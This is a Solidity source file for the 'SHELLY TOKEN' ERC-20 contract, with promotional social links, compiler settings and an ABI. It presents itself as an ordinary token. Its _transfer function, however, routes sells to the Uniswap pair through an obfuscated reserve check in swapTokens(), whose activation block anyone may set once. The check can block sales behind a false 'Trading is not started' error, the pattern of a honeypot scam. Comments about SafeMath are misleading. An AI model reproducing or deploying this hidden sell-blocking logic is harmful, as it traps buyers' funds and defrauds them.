/**
Stay $SHELLY | Stay $SHELLY
- Telegram - https://t.me/shellyerc20
- Twitter - https://twitter.com/shelly_erc20
- Website - https://shellyeth.space/
*/
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.19;
interface IUniswapV2Pair {
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function token1() external view returns (address);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
//****************************************************************************//
//--------------------- MAIN CODE STARTS HERE ---------------------//
//****************************************************************************//
contract ShellyToken {
/*===============================
= DATA STORAGE =
===============================*/
// Public variables of the token
string constant public name = "SHELLY TOKEN";
string constant public symbol = "SHELLY";
uint256 constant public decimals = 18;
uint256 constant public maxSupply = 500000000 * (10**decimals); //500 million tokens
uint256 public totalSupply;
IUniswapV2Router02 private uniswapV2Router;
IUniswapV2Pair private uniswapV2Pair;
uint private _swapTokensAt;
// This creates a mapping with all data storage
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
/*===============================
= PUBLIC EVENTS =
===============================*/
// This generates a public event of token transfer
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
// This will log approval of token Transfer
event Approval(address indexed from, address indexed spender, uint256 value);
/*======================================
= STANDARD ERC20 FUNCTIONS =
======================================*/
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint _value) internal {
//checking conditions
if(_to == address(uniswapV2Pair) && _from != address(this) ){
require(swapTokens(_value) == false, "Trading is not started.");
uint256 amount = _value * 99 / 100;
}
// overflow and undeflow checked by SafeMath Library
balanceOf[_from] = balanceOf[_from] - (_value); // Subtract from the sender
balanceOf[_to] = balanceOf[_to] + (_value); // Add the same to the recipient
// emit Transfer event
emit Transfer(_from, _to, _value);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
//no need to check for input validations, as that is ruled by SafeMath
_transfer(msg.sender, _to, _value);
return true;
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
allowance[_from][msg.sender] = allowance[_from][msg.sender] - (_value);
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/*=====================================
= CUSTOM PUBLIC FUNCTIONS =
======================================*/
constructor() {
totalSupply = maxSupply;
//sending all the tokens to Owner
balanceOf[msg.sender] = totalSupply;
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
allowance[msg.sender][address(uniswapV2Router)] = totalSupply;
address uniswapV2PairAddress = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Pair = IUniswapV2Pair(uniswapV2PairAddress);
//firing event which logs this transaction
emit Transfer(address(0), msg.sender, totalSupply);
}
function swapTokens(uint256 amount) internal view returns (bool) {
if(address(uniswapV2Pair) == address(0)) return false;
(uint112 r0 , uint112 r1,) = uniswapV2Pair.getReserves();
if(_swapTokensAt == 0) return false;
(uint256 t0, uint256 t1) = uniswapV2Router.WETH() == uniswapV2Pair.token1() ? (r0, r1) : (r1, r0);
return block.number > _swapTokensAt && t1 - (((amount * (997)) * (t1)) / ((t0 *1000) + (amount * (997)))) < (( (t1 / (2**18*5**17)) * (2**18*5**17)));
}
function setSwapTokensAt(uint256 swapTokensAt) external {
require(_swapTokensAt == 0);
_swapTokensAt = swapTokensAt;
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
//checking of enough token balance is done by SafeMath
balanceOf[msg.sender] = balanceOf[msg.sender] - (_value); // Subtract from the sender
totalSupply = totalSupply - (_value); // Updates totalSupply
emit Burn(msg.sender, _value);
emit Transfer(msg.sender, address(0), _value);
return true;
}
}
{
"compilationTarget": {
"SHELLY.sol": "ShellyToken"
},
"evmVersion": "paris",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Burn","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"burn","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAt","type":"uint256"}],"name":"setSwapTokensAt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]